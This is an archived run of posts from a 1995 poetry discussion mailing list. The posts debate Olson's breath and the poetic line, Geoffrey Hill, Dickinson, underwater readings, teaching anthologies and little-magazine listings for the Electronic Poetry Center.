Mabey, found on a remainder stall.

Tom Beard writes that he's moved by G.Hill, and that he hopes there's room for that: me too: it's always room for a multiplicity of voices that I'm interested in. But, in our over-crowded island, it's the Hill/Heaney/ Hughes/Harrison axis (more strictly, their critical supporters) which endangers the wide view, and becomes - willingly or otherwise - a part of the dominant culture. The other elements of poetry in the British Isles - and there are many - often get squeezed into the margins and neglected in one way or another. I'm sure this isn't news to anyone. G.Hill in his early days did indeed produce some moving poetry - but he's been taken up by the critical formalists and used as a stick with which to beat other ways of writing. I'd like to believe he was an unwilling victim in this, but nothing he's said or done could support such a reading.

I'm afraid on the whole mainstream British poetry audiences like their poets GLUM, and the 4-H gang certainly give 'em that. Years ago I went to an RSThomas reading where he berated his listeners solidly for fortyfive minutes, miserable sinners, clods of earth and so on, and blow me, everyone came out saying how wonderful it was! Against that, it's certainly the non-dominant poetries which need the attention, the room. x

x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted] x x

x x "Words! Pens are too light. Take a chisel to write." x x

- Basil Bunting x x x

↑ Index

59. Carl Lynden Peters

Re: lists are fun (except when they're not)

Thu 6 Jul 1995

> *Charles Alexander wrote:*
>
> *I really dislike it when people start proselytizing on what's poetry and what's not poetry, what's music and what's not music, what's book art and what's not book art, etc. Can't you just say you don't like something, without trying to cast it out of the pool? By these standards the work of William Blake is, for the most part, not poetry at all. Do you want to cast him out, too? Shall we begin making lists of artists whose work doesn't fit in?*

--just to add to this, charles is right on the mark! what's insightful abt his statement is the underlying apprehension of _interdisciplinarity_ in art, scholarship and reseach, the whole thing. and in the final analysis, what charles' comment reminds me of is the crucial relation between interdisciplinarity and the real cutting edge of art. --and that's a great place to be if you really want to be there

c

↑ Index

60. Rod Smith
Re: lists are fun (except win they're knot)
Thu 6 Jul 1995

I don't think Charles A. was off base at all. In o blek 12 I used a line, which I can't remember right now whether it was appropriated-- "What is poetic is necessarily defined by what it is not."

I think the question re Olson needs to be framed in terms of --
A) did he consider his theories contingent?
& B) did he need to?
On 7/2 George Bowering cited an instance in which transcription from a reading of an unpublished Olson poem led to surprisingly correct lineation.

↑ Index

61. Rod Smith
Re: lists are fun (except when they're not)
Thu 6 Jul 1995

. . . . more: (sorry gang, hit enter when I meant to hit return)--

& then 7/5 Mike Boughn considered the idea that Olson equated the line with the breath "strange & reductionist."

Does anyone need to be right here? I don't mean that snidely. I tend to think that good poems cld be written with either idea in mind.

--Rod Smith

↑ Index

62. Rod Smith
Re: lists are fun (except when they're not
Thu 6 Jul 1995

. . . . more: (sorry gang, hit enter when I meant to hit return)--

& then 7/5 M, Boughn considered the idea that Olson equated the line with the breath "strange & reductionist."

Does anyone need to be right here? I don't mean that snidely. I tend to think good poems can be written with either idea in mind.

--Rod Smith

(this addendum was sent to list once & didn't seem to get posted)

↑ Index

63. Michael Boughn
Re: Olson and breath
Thu 6 Jul 1995

Dear Rod Smith:

You're absolutely right. Poems can be written any way the writer wants to write them. My point was simply that in all the discussions of breath in Olson's work that I'm aware of (and specifically in the essay "Projective Verse,") I can find no proposal that the length of a line should equal the length of a breath. The discussion of breath and its relation to the line is much more complex than that.

But this is not to say that you can't write poems that way if you want.

Best,
Mike
[redacted]

↑ Index

64. Carl Lynden Peters
WR-EYE-TINGS
Thu 6 Jul 1995

this is to announce that the concrete/ visual, sound and performance poetries mail list is now up and running. if interested, you can subscribe by posting a message to: [redacted]

this is the message you post:

subscribe [redacted] <your address here>
end

there's the dogma for use. that should get you in the machinery, to paraphrase olson

N.B.: tony (green) and w. curnow your backchannels don't work, so i hope you catch this.

c

↑ Index

65. George Bowering
Re: bedside books etc
Thu 6 Jul 1995

I had to go to lunch with Geoffrey Hill once, and all he did was sit there looking glum. Not even manic. Just glum. So I read some of his poems. Then I felt glum.

↑ Index

66. George Bowering
Re: breath rules
Thu 6 Jul 1995

Damn, Mike, I cant remember the name of the woman who wrote it, but it was really persuasive to me. It might have been a thesis at U. of Toronto, say 7 years ago or so. She said that WCW sets up these (she is mainly talking about the poems that look like, say, the poems in CEP,) poems that look as if they have regular short-line quatrains, but read with different enjambments etc than the visual; says that WCW was setting up the regular-looking and then forcing you to read it differently, adding a complexity you might now expect. If I run across her name I will send it along. There's a CHANCE that she's now the woman teaching Williams-HD at Queen's, but that is a wild and tenuous guess, sort of the way I was at my visual field test examination at the eye care clinic this morning.

↑ Index

67. George Bowering
Re: Olson's mouthwash
Thu 6 Jul 1995

I have used the Hoover collection, which has a small poetics collectiuon at the end. It is usable, and has lots of stuff from recent folks. But it does not contain Oppenheimer, Welch and a few others I wd hope to find.

↑ Index

68. George Bowering
Re: yeah, re open mike
Thu 6 Jul 1995

Yeah, the late great crackpot anaimateur Fred Hill a few years ago entered me in a poetry slam in Toronto under a silly fake name and I read some poetry I wrote while the other contenders were reading, and I won. I got a ridiculous but beautiful sweatshirt, and gave it to the second-place finisher, saying that his stuff was way better. That was a frisson of some sort.

↑ Index

69. Ryan Knighton
Re: Olson's mouthwash
Thu 6 Jul 1995

George used the Hoover edition on me, actually. As a student, I thought is was wonderful. Ishmael Reed is also missing. But, hey, anthologies are just like that. George Stanley thinks there are too many language poets in it. But, hey, George Stanley is just like that.

↑ Index

70. George Bowering
Re: Poetic Briefs is not dead
Thu 6 Jul 1995

Is Mark Wallace out there reading?

If so, West Coast Line claims to have lost the mailing address I gave them for you, and they have a SMALL cheque, and, shortly, copy of the mag for you.
.George Bowering
2499 West 37th Ave.,
Vancouver, B.C.
V6M 1P4
Canada

↑ Index

71. Burt Kimmelman
Re: breath rules
Thu 6 Jul 1995

Steve,

Historically speaking, I'd say that my definition of poetry stands (not unlike in the way that my metaphor, "stands"--actually, technically it's a catachresis in the original sense of the word--is indeed metaphoric because it derives from the flesh and blood human who stands; but I am wandering off . . .). Are we perhaps needing to make a distinction between *poetry* and *poetic*?

In any case, visual art (versus verbal or just plain musical "art") is spatially oriented, whereas poetry and music are temporally oriented (notwithstanding some mixed/blurred avant-garde art and/or performance art), which means that experiencing one or the other will be essentially different, I think. But okay, let's divorce verse from the bard. There has been plenty of concrete and other kinds of poetry. But then I gotta compare that stuff with the thrill of hearing (better yet hearing and seeing) Olson read, and not just cause he was star

either. And Olson subscribed at times in writing to the belief that poetry and the human body were connected. Didn't he?

Burt

↑ Index

72. Burt Kimmelman
Re: breath rules
Thu 6 Jul 1995

Charles,

Cast Blake out?! Of what? No, no. Please, no lists. Sorry, I just thought that I was answering someone's query. To hell with breathing!

Burt

↑ Index

73. Burt Kimmelman
Re: lists are fun (except win they're knot)
Thu 6 Jul 1995

Sorry Rod and everyone, but my fingers hit the wrong key and maybe sent off half a message. anyway there's the weinberger anthology that my students liked but i don't think i'll use again. there's also the norton postmodern americanpoetry ed by Paul Hoover, which I have not really had a changa chance to look at.

↑ Index

74. Steve Carll
Re: Olson's mouthwash
Fri 7 Jul 1995

Hey Rod:

How 'bout _The Art of Practice_ from Potes and Poets ('94)?

Steve

↑ Index

75. Graham John Sharpe
Jabes query
Fri 7 Jul 1995

---

greetings,

been reading Edmond Jabes' *The Book of Questions* lately, picking up what's available in the library, as oppose to working from vol.1 thru to vol.7 am working on a response piece to my reading and am so stuck on a certain concept that i cant seem to place, but i think is "real". the reading experience is like reading the commentaries (and this is where i get confused) on the Talmud, or the Cabala. was this done by Rabbis or family members, marginal notes they would make, questions and such on the text they are reading. is this sort of commentary done? and is it done stricktly by Rabbis or is a family/generational practice? i'm certain my ideas are coming from some where, and i dont think it was derrida's piece on jabes. i can only think about A.M.Klein, and maybe reading related to him.

in any case i'm slightly stuck and looking for a gentle shove or pull. i think there is a article in *The Sin of the Book* (Gould, ed.) that relates to what i'm vaguely trying to pin down, but i wont have access to that book for a few weeks, and my curiosity can't wait.

in anticipation,

graham

↑ Index

76. Rod Smith
Re: Olson's mouthwash (rinse & spit)
Fri 7 Jul 1995

Steve Carll writes
> How 'bout _The Art of Practice_

I do like _The Art of Practice_ but the _o blek_ has the advantage of the statements. & actually I'm thinking interviews cld be good. Maybe the Hoover, o blek 12, _The Talsiman Interviews_, &/or the Berrigan interviews O Books did. I mean it seems that they usually come in w/ enthusiasm & the trick is not to squelch that. Berrigan is great that way, his dedication to the art, I think, is contagious.

--Rod Smith

↑ Index

77. Robert Drake
Re: Olson's mouthwash (rinse & spit)
Fri 7 Jul 1995

> *I do like _The Art of Practice_ but the _o blek_ has the advantage of the statements. & actually I'm thinking interviews cld be good. Maybe the Hoover, o blek 12, _The Talsiman Interviews_, &/or the Berrigan interviews O Books*

> *did. I mean it seems that they usually come in w/ enthusiasm & the trick is not to squelch that.*

it's an old suggestion, but maybe teach from current little magazines rather than anthologies? many in AoP or oblek are pretty actively publishing; talisman would certainly be a prime candidate fr poetry & criticism--and you could get a dozen+ chaps (frm leave, texture, generator, potes & poets, standing stones, &&&....). nothing to help enthusiasm than to have hold of something fresh & new & not- yet-known. plus the chance to keep a press or two in the black (or less in the red). PLUS, the chance to point to a coupla less- than-perfect poems, give a flavor of what can go wrong in a poem, as well as what's right

th usual
luigi

↑ Index

78. Charles Alexander

Re: breath rules

Fri 7 Jul 1995

Burt, concerning --
"Cast Blake out?! Of what? No, no. Please, no lists. Sorry, I just thought that I was answering someone's query. To hell with breathing!"

not to hell with it -- I like breathing, too

As for going to definitions of poetry, its etymology, "to stand," etc., it seems to me that we want it both ways, want words to mean something eternally, to contain their origins, but also to allow them to evolve, to continue to develop and change their meanings.

This morning I'm not certain whether I'm more excited by Olson's human breath, Mac Low's aleatoric generations (which may or may not involve breathing as a compositional idea), bp Nichol's visual compositions, or something else. I love the quiet of Bev Dahlen's work, where one feels (in much of A Reading, at least) one is not so much hearing speech, as hearing/reading "thought taking shape."

But the idea of something being poetry because of feeling the blood move -- I don't know. Emily Dickinson said she knew something was poetry if it took her head off. I love Dickinson & Olson, but I don't know if I want to allow that I have to either have the blood boiling or be lobotomized before I see something as poetry.

But I do like the passion with which you speak for Olson's ability to move one who reads or hears him.

charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

79. Jordan Davis.
taking the top of your head off
Fri 7 Jul 1995

Charles

What did Dickinson mean by that, anyway? That poetry had to produce a strong sensation to be classified genus poetry species good enough?

Jordan

Charles Alexander wrote:
Emily Dickinson said she knew something was poetry if it took
her head off.

↑ Index

80. Chris Stroffolino
Re: Poetic Briefs is not dead
Fri 7 Jul 1995

Just talked to Jeff Hansen last night--he and Elizabeth Burns are moving to Minneapolis which CHAX and GASU should know (re. their desire to make a scene there---cs.)

↑ Index

81. Chris Stroffolino
Re: fuzzy bookside bedding
Fri 7 Jul 1995

Dear Rod--I think the suggestion that you teach your students stuff from contemporary magazines (suggested by who---someone from ohio? lbd or byrum, i forget) is good--maybe AERIEL---- but I tend to find all anthologies pretty limiting and have taken to bootlegging (though that, too, involves bootlicking)--last year I used the sun and moon anthology--The Creeley section is eminantly teachable---especially the one about the tree and the one about the airplane (the latter can be usefully juxtaposed with the talking

heads song "the big country")---but this time I taught an INTRODUCTION TO LITERATURE CLASS and wanted a better sense of new york school stuff than Messerli can do, but at the same time wanted older people like Stevens and Stein and Riding and NON-AMERICANS (oh horrors, horrors!) like Gig Ryan (from magazine--actually Hoover's mag.) and many Germans in translation.... Of course Rod, you should teach my CUSPS poems too. chris

↑ Index

82. Loss Glazier
Re: Poetic Briefs is not dead
Fri 7 Jul 1995

Chris, can you post a new _Poetics Briefs_ address when there is one?
>
> Just talked to Jeff Hansen last night--he and Elizabeth Burns are moving
> to Minneapolis which CHAX and GASU should know (re. their desire to make
> a scene there---cs.)
>

↑ Index

83. Chris Stroffolino
Re: fuzzy bookside bedding
Fri 7 Jul 1995

Someone mentioned the EXACT CHANGE thing earlier, but John Godfrey's pieces in it remind me very specifically of a certain kind of prose poem O'Hara wrote. One is called "DIDO" from which i take the following line----in memory of the "sentimentality" thread (from a few months ago): "if only I weren't feeling sentimental, but how else can you get passionate, and I at least know that's my devoir."(74) So--Rod, Joe Ross's new work seems definitely more O'Hara than Ashes (but I do agree with you definitgely more Ashes "compared to his other work') ---You see, I can play the name game too. "Breath rules, dude"! CS

↑ Index

84. Willa Jarnagin
Re: taking the top of your head off
Fri 7 Jul 1995

> *What did Dickinson mean by that, anyway? That poetry had to produce a strong sensation to be classified genus poetry species good enough?*

> *Jordan*
>
> *Charles Alexander wrote:*
> *Emily Dickinson said she knew something was poetry if it took*
> *her head off.*

Maybe she meant something as straightforward as her poems: something is poetry when it makes you think/see/feel differently. It suprises.

Must a poem surprise? And what does that have to do with "newness"? Every breath is new, even if the air isn't fresh.

A thought on poetry=ink on a page/is a drawing?: Draw in a breath.

Willa
(I'm new) (born yesterday) (new to this group, I mean) (fresh too) (well,
a little polluted)

↑ Index

85. **maria damon**
Re: Jabes query
Fri 7 Jul 1995

In message <[redacted]> UB Poetics discussion group
writes:
> greetings,
>
> been reading Edmond Jabes' *The Book of Questions* lately, picking up
> what's available in the library, as oppose to working from vol.1 thru
> to vol.7
> am working on a response piece to my reading and am so stuck on a
> certain concept that i cant seem to place, but i think is "real". the
> reading experience is like reading the commentaries (and this is
> where i get confused) on the Talmud, or the Cabala. was this done by
> Rabbis or family members, marginal notes they would make, questions
> and such on the text they are reading. is this sort of commentary
> done? and is it done stricktly by Rabbis or is a family/generational
> practice? i'm certain my ideas are coming from some where, and i dont
> think it was derrida's piece on jabes. i can only think about
> A.M.Klein, and maybe reading related to him.
>
> in any case i'm slightly stuck and looking for a gentle shove or
> pull. i think there is a article in *The Sin of the Book* (Gould,
> ed.) that relates to what i'm vaguely trying to pin down, but i wont

> have access to that book for a few weeks, and my curiosity can't
> wait.
>
> in anticipation,
>
> graham

It shouldn't be too hard to find the answer to your question of whether it was rabbis or generations of male family members --ask your resident talmudist, if you have a judaic studies program or dept. also, check out daniel boyarin's work if you haven't done so already --he's a talmudic scholar and has a post-sstructuralist, emancipatonist approach, thoug lately he's been into lacanian psychoanalysis. have fun w/ jabes, he's a dreamboat though i admit i float in and out of relating to his work. the stuff on being jewish, and on the book, is absolutely yummy --the stuff on death...well, maybe it's too deep for me.--md

↑ Index

86. maria damon

Re: Poetic Briefs is not dead

Fri 7 Jul 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Just talked to Jeff Hansen last night--he and Elizabeth Burns are moving
> to Minneapolis which CHAX and GASU should know (re. their desire to
make
> a scene there---cs.)

wow, just as i'm leaving mpls for a year, i'm beginning to meeet all the groovy folks there. charles alexander, gary sullivan, marta deike, mark nowak, carolyn erler (and anyone else i might be leaving out, don't feel hurt) and now encore plus groovy folks. well, maybe the scene will be more tolerable by the time i get back...its's a tough place to make things happen, a tough place to be happy. by the way, chris s, didn't respond to your chicks & tech thing cuz was in transit, by the time i wuz hookt up again seemed like a dead issue, don't take it personally, don't take it serious, it's too mysterious. anyway, give hanssen and burns my e-mail address and also i'm in phone book if they get there before labor day...md

↑ Index

87. **Jorge Guitart**
breathing
Fri 7 Jul 1995

Have there ever been poetry readings underwater? and if so were there any problems associated with breathing and the line?

↑ Index

88. **Ryan Knighton**
Re: breath rules
Fri 7 Jul 1995

---

i was curious if anyone knows anything about breathing in Eigner? I love feeling like staccato (SP?), if indeed that is how his lines rupture.

Ryan

↑ Index

89. **Juliana Spahr**
Re: Poetic Briefs is not dead
Fri 7 Jul 1995

Here is Jeff Hansen's and Elizabeth Burns's new address:

2510 Highway 100 South No. 333
St. Louis Park, Minnesota 55416

I don't think it is good until the end of the month.

Poetic Briefs does still exist.

↑ Index

90. **Jonathan A Levin**
Re: Jabes query
Fri 7 Jul 1995

Since we're talking Talmud, everybody should check out the recently published Nine Talmudic Readings, by Emmanuel Levinas--I'm sure this has everything to do with Jabes, but I haven't the slightest idea how to go about saying just what that is. I am, though, sure it's bigger than the fact that Derrida writes essays on both in Wrtg and Diff.

Jonathan Levin
NYC

↑ Index

91. Loss Glazier
Olson conference?
Fri 7 Jul 1995

Has anyone heard of a proposed Olson conference in Gloucester in the fall?

↑ Index

92. Loss Glazier
EPC Magazine Entries
Fri 7 Jul 1995

-- For those of you thus engaged -- I'd like very much to include information about your little magazine in the Electronic Poetry Center so that people can get in touch with you, order from you, etc. Please fill in info below and send to me either on the list or personally to [redacted] - THANKS! Loss

---
Little Magazine Alcove
Bibliographic Entry
Created/Revised:
Annotator: (ie, who is filling out this form?)

Title:

Editor(s):
Address:

E-mail address:

Frequency:
Sub. Cost:

Ed. Stmt: (a short paragraph here)

Annotation: (any other comments about your magazine?)

Issue Info: (if you'd like to note special issues, etc.)

↑ Index

93. Jerry Rothenberg
Re: breathing
Fri 7 Jul 1995

I don't usually talk about this, but many years ago Michael Davidson and I did underwater readings as part of a musical performance & event by Michel Redolfi. We performed in the swimming pool of Ginger Rogers' former bungalow in Bird Rock (La Jolla), where Michael was then living. There was a

mask-like device that gave us a minute -- maybe half a minute -- before it filled with water. Redolfi recorded it for playback within a longer underwater piece in the olympic swimming pool at UCSD. Michael's part was to read actual written poetry set down with special waterproof ink, while I decided to go with chanted translations of songs from (Seneca) Shaking the Pumpkin. The breathing part of it -- a constant struggle -- had nothing to do with projective verse. I think I ended up sounding like a beached whale, but I actually looked pretty trim in the wet suit -- of which there are still some photographs.

The naive breath notion -- of breath & line coinciding in length -- is of course Ginsberg rather than Olson. Allen used to be pretty boastful about how long he could hold his breath & all of that. (I don't mean "naive" pejoratively, by the way -- just straightforward in the way that some of the conversation about this has gone. Allen is most eloquent & moving with regard to this in the Notes for Howl. But I don't think he ever tried it under water.

All best

Jerome Rothenberg

↑ Index

94. Burt Kimmelman
Re: breath rules
Fri 7 Jul 1995

Charles,

Okay. Anyway, as you imply, words are just stepping stones.

Burt

↑ Index

95. Burt Kimmelman
Re: EPC Magazine Entries
Fri 7 Jul 1995

Loss,

Please list Poetry New York: A Journal of Poetry and Translation, which comes out yearly, and which is not seeking subscriptions but encourages people to buy it in bookstores. It is eclectic. It is archived at SUNY Buffalo, Poets House, NYC Research Library, Brown U. and other places. It is distributed by DeBoer. I am the Senior Editor. Tod Thilleman is the Editor.Emmy Hunter is the Associate Editor. We've just put the upcoming issue to bed (it will be out in late fall at the earliest), but otherwise we welcome submissions along with contributor's note of no more than, say, four poems and/or translations of poems (and send in

original language too if possible); but we do NOT welcome submissions from JUne-August. Best time to send is early spring. I say that the magazine is eclectic but it does lean toward the experimental (though one can find traditional verse in it too).

Any more questions can be directed to me at my email address or to PNY, P.O. Box 3184, Church Street Station, NYC 10008.

Burt

↑ Index

96. **Tony Green**
Re: fuzzy bedside reading logic
Fri 7 Jul 1995

---

lately, Don Quixote (why didn't I read it tears ago, beats the hell out of Descartes as a guide to the 17th c, -- who DIDN'T read that book? And Robert Creeley's Gnomic Verses!!

↑ Index

97. **Chris Scheil**
Re: breathing
Fri 7 Jul 1995

On Fri, 7 Jul 1995, Jerry Rothenberg wrote:

> *I don't usually talk about this, but many years ago Michael Davidson and I did underwater readings as part of a musical performance & event by Michel Redolfi. We performed in the swimming pool of Ginger Rogers' former bungalow in Bird Rock (La Jolla), where Michael was then living. There was a mask-like device that gave us a minute -- maybe half a minute -- before it filled with water. Redolfi recorded it for playback within a longer underwater piece in the olympic swimming pool at UCSD. Michael's part was to read actual written poetry set down with special waterproof ink, while I decided to go with chanted translations of songs from (Seneca) Shaking the Pumpkin. The breathing part of it -- a constant struggle -- had nothing to do with projective verse. I think I ended up sounding like a beached whale, but I actually looked pretty trim in the wet suit -- of which there are still some photographs.*

Hmm... By any chance, this piece wasn't called "til human voices reach us, or we drown...," was it? I love the idea of stuff like this--a sort of spectacular (in the SI sense?) hyper-literalist performative action poem. The possibilities are endless. An insomniac High-church prelate reading Keats' Bright Star while out on a tethered space-walk: "And Watching, with eternal lids apart,/ Like nature's patient, sleepless Eremite,/ The moving waters at their priestlike task...,"

George Burns (cigar intact) lashed to the mast of a Carnival Cruise Line ship, reading Sailing To Byzantium as it (the ship, with an Luau in full swing on the Lido deck) passes through the Hellespont, a Greek chorus of Arkansas poultry processing workers chanting Williams's Red Wheelbarrow as an endless line of all-organic, range-fed gamehens whizz by on a conveyor belt.

Cut! Thats a take! Get Bill Moyers on the phone!

Chris

↑ Index

98. Steve Carll

Re: breath rules

Sat 8 Jul 1995

Burt:

Sure, poetry is connected with the human body, as is dance ("poetry in motion"), which, if I'm not mistaken, is very spatially-oriented, though it unfolds in time as well.

I guess my questions weren't directed so much at the historical standing of your definition, but at how sturdy its ontological "legs" are. This dichotomy between spatiality and temporality may have worked for Lessing in 1775 in the "Laocoon", but wasn't Einstein's contribution to point out that trying to isolate space and time from each other is an illusion, however historically stable an illusion it may be, and however different the experience of different media with their differing locations within spacetime? When you say "(better yet, hearing and seeing) Olson read", doesn't that indicate that there's something that's really important that's visual about poetry even when it's not on the page? To put it on the page may be to move it closer to painting, etc., but I don't think it moves it outside the realm of poetry, nor do I think its connection with the body withers. It simply takes a different approach to the body by creating a simulacrum of a body, by embodying itself as writing, but with inspiration still breathed into it, just like if there were a bard.

To belabor the point even further (sorry!) Heidegger asserts that "all the arts are essentially poetry" because they're all kinds of language. Poetry is the original art because it most "preserves the essential nature of language." (Origin of the Work of Art)

If it's just a matter of taste--concrete poetry vs. seeing and hearing a poet speak--that's one thing, but to define "poetry" around such a choice and, by implication, exclude concrete poetry, Apollinaire, Cummings, Blake (as someone pointed out--Michael Broughton?), a possible ESL poetry, etc., etc., seems to me a bit rash.

If it was just an attempt to be provocative--good work! I took the bait! :-)

Best to you and all,
Steve

↑ Index

99. Charles Alexander
Re: Poetic Briefs is not dead
Sat 8 Jul 1995

Re: "Just talked to Jeff Hansen last night--he and Elizabeth Burns are moving to Minneapolis which CHAX and GASU should know (re. their desire to make a scene there---cs.)"

Yes, Chris. Charles Bernstein had told me this, and I'm looking forward to hearing from them. If you have an address or phone for them, please back channel it to me and I'll get in touch with them directly. I think GASU (Gary Sullivan) has left this list for a while, but I see him regularly and will let him know.

charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

100. Charles Alexander
Re: taking the top of your head off
Sat 8 Jul 1995

Welcome, Willa, and thanks.

"Must a poem surprise? And what does that have to do with "newness"? Every breath is new, even if the air isn't fresh.

A thought on poetry=ink on a page/is a drawing?: Draw in a breath."

A poem is a surprise, and a breath is sometimes suspended, sometimes heavy, sometimes not taken, sometimes even visual or audible. So is ink on a page.

Very nice comment.

charles alexander
chax press
minnesota center for book arts

phone & fax: [redacted]
e-mail: [redacted]

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101. Ron Silliman
Re: breathing
Sat 8 Jul 1995

You wrote:
>
>Have there ever been poetry readings underwater? and if so were there
any
>problems associated with breathing and the line?
>
As I recall, Jim Rosenberg, whom I believe is on this list, had a show
at a gallery in SF back in the 1970s (and reasonably early in that
decade as well) which include a series of word imprinted on clear
plastic cards that were to be thrown into a swimming pool, so that
readers would swim from word to word, a poem in constant drift.

The same show had an "oscilloscope" (I believe that was the machine) printout
of a record of Pound reading one of his Cantos, a registration of the voice and
breath therein.

It was a pretty great show and has returned to my mind a thousand times since
I saw it.

Ron Silliman

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102. Ron Silliman
Re: breath rules
Sat 8 Jul 1995

You wrote:
>
>i was curious if anyone knows anything about breathing in Eigner? I
love
>feeling like staccato (SP?), if indeed that is how his lines rupture.
>
>Ryan
>
Well, because of his cerebral palsey and related physical problems
(some of which were helped considerably by some surgery that he had in

his 30s), he was publishing his early books before he learned to speak. His parents did not think that he even "had" language before he learned to use a typewriter in his late teens.

The line in his work is an extraordinary physical act, given his ability to use three fingers on one hand and a basic grasping motion with the other. When I first read his poems on the page in the mid-60s, I "heard" that voice too and it was not until I tried calling him on the phone that I first realized exactly how much of a projection that was. Eigner may in fact have been drawn to Olsonian poetics precisely because it was there that he could in fact "speak."

Once his parents got to be too old to care for him and he first moved to California, he was set up in a group home in North Berkeley where his brother bought him a desk that had the drawers on the wrong side (Larry can only reach to the right), so for him to reach a piece of paper to get (with some difficulty) into the typewriter meant spinning the wheelchair 360 degrees.

Those "light, airy" poems are in fact the complex choreography of one whose total physical vocabulary is in use in the composition of the poem.

Ron Silliman

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103. H. T. KIRBY-SMITH
Underwater Poetry readings
Sat 8 Jul 1995

Porpoises have underwater poetry readings.

I feel sure that one of them has said, "breath is porpoise's special qualification as an animal."

No, I think that must have been a WHALE.

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

↑ Index

104. Burt Kimmelman
Re: breath rules
Sat 8 Jul 1995

Steve,

I didn't mean to be restrictive. If you like it, good. If you want to call it art, all well and good (I guess). But--setting Derrida's supplement aside-- I can't help going back to Ong and to the fact of time-scansion-musical accompaniment-sceop who was historian before writing takes hold (okay, in China this maybe doen't and didn't hold). But regarding E's 4th dimension and all, doesn't art create illusions?

Burt

↑ Index

105. **Jim Rosenberg**
Offsets to the Frame
Sat 8 Jul 1995

The discussion of WCW's rhythm working as offsets to the frame of the graphical line on the page interests me very much. I've made similar observations with respect to some of Creeley's poems. The details can get quite lengthy, but: I use a concept of "measure", which is not quite the same thing as the classical concept of "foot"; many of Creeley's lines are two measures, with the natural "grammatical framing" going from one mid-line measure boundary to the next mid-line measure boundary.

I posted a quite lengthy article that deals with this and many other things under the subject "Notes Toward a Non-linear Prosody of Space" to ht_lit some moons back; it is available on the web at

http://www.well.com/user/jer/nonlin_prosody.html

If there is interest I can repost it here; it's about 345 lines long.

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

↑ Index

106. **Aldon L. Nielsen**
Re: Emily's Head
Sat 8 Jul 1995

Re: Charles's post -- Dickinson didn't speak of the removal of her _entire_ head, just the one portion of it -- think she wanted to leave the reading & writing appartus intact -- ceilings must have needed regular cleaning in her house!

Ever read Thomas Wentworth Higginson's descriptions of his first meeting with E.D.?? remarkable stuff --

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107. Loss Glazier

EPC Magazine entries -- status report --

Sat 8 Jul 1995

Here is a list of magazines currently having entries in the EPC. (With the exception of Juxta, just received.) Obviously, there are many more relevant entries. Hopefully, we can develop these entries, but this is where we are this moment: ----------
ELECTRONIC POETRY CENTER

Chain / Buffalo (Cite)
Coppertales / Australian Writing Online / Sidney, Australia (Cite)
El-e-phant: A Language Arts Review / Los Angeles (Cite)
First Intensity / Staten Island (Cite)
Impercipient / Providence (Cite)
Interruptions / Kent OH (Cite)
Kiosk / Buffalo (Cite)
Little Magazine / Albany (Cite)
M/E/A/N/I/N/G / New York (Cite)
Minutes of the Charles Olson Society / Vancouver (Cite)
North American Ideophonics Annual / Minneapolis (Cite)
Poetic Briefs / Albany (Cite)
Poetry New York / NYC (Cite)
Raddle Moon / Vancouver (Cite)
Situation / Washington DC (Cite)
Southerly / Australian Writing Online / Sidney, Australia (Cite)
Tinfish / Honolulu (Cite)

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108. Loss Glazier

EPC Magazine entries -- sample

Sat 8 Jul 1995

I sent the attached as an example of an entry. Obviously not all entries need to be this lengthy; short entries get results too and can be all that is necessary in given instances. But in the case of this one, I'd like to suggest that the person new to poetics - or an interested student - would get a good sense of the "activity" here inscribed.

Electronic Poetry Center
Little Magazine Alcove
Bibliographic Entry
Created/Revised: 7-8-95
Alcove Ed. by Loss Glazier

Title: Chain

Editor(s): Jena Osman and Juliana Spahr
Address: 104 - 14th St.
Buffalo, NY 14213
E-mail: [redacted]

Issn: 1076-0520
Frequency: Annual
Sub. Cost: $7.95 for 1 issue/$14 for 2
(Payable to UB Foundation)

Ed. Stmt: Chain is a new journal that investigates language and its various frames. It includes poetry, prose, and visual work.

Issue Info:

Chain 1: "Special Topic: Gender and Editing" (282 p.)
107 - 14th Street / Buffalo, New York 14213
edited by Jena Osman and Juliana Spahr
appears annually
$7.95
6x9, 288 pages
issn: 1076-0520
isbn: 0-922668-12-4
publication date: October 1, 1994

This first issue explores its editor's apprehension about editing. It attempts to create a dialogic space through its investigation of the (im)possibility of an unmediated reception and the (im)possibility of detaching a writing from its presentational/ideological form.

Chain 1 begins with a forum on how and why journals are created and in what ways questions of gender have informed those decisions. As such it investigates the implications behind making taste public and the manner in which taste presents itself in the public sphere. This section includes an interview between

Dodie Bellamy (of Mirage) and Andrea Juno (of Research) on Angry Women and "sex positive" editing practices; Dubravka Djuric (of Mental Space) on editing in communist and post- communist societies; Heather Findlay (of On Our Backs) on collaborative editing; Susan Gevirtz (of HOW(ever)) reading editing as medical diagnosis; Holly Laird (of Tulsa Studies in Women's Litera ture) on the difficulties and rewards of editing feminist journals in the academy as well as pieces from a number of small press and feminist editors.

Instead of a collection that claims over and over the ability of the editor to know and define, Chain is a journal that claims instead "this made itself and here is what it's made of; it is just part of what continues." In order to facilitate a journal that could make itself, Chain used the model of the chain letter. A number of writers from the U.S., Canada, and England were asked to send a piece of writing to another writer. These writers responded by writing a poem and then send ing both poems onto a third participant, and so forth. This section includes work by Abigail Child, Gail Scott, Norma Cole, Sianne Ngai, Kate Rushin, Fiona Templeton and others.

Chain/2: Documentary
Edited by Jena Osman and Juliana Spahr
107 - 14th St./Buffalo, NY 14213
$10 for one issue (6"x9", 250 pp.)
Make checks payable to UB Foundation.

The second issue of Chain questions the supposed neutrality/objectivity of documentary forms. The concerns of this issue are: in what ways does the topical world filter through language? how do creative forms actually capture an event, a person, a place? The work included highlights the way we use language/image to cut up our experiential encounters so as to (re)see them.

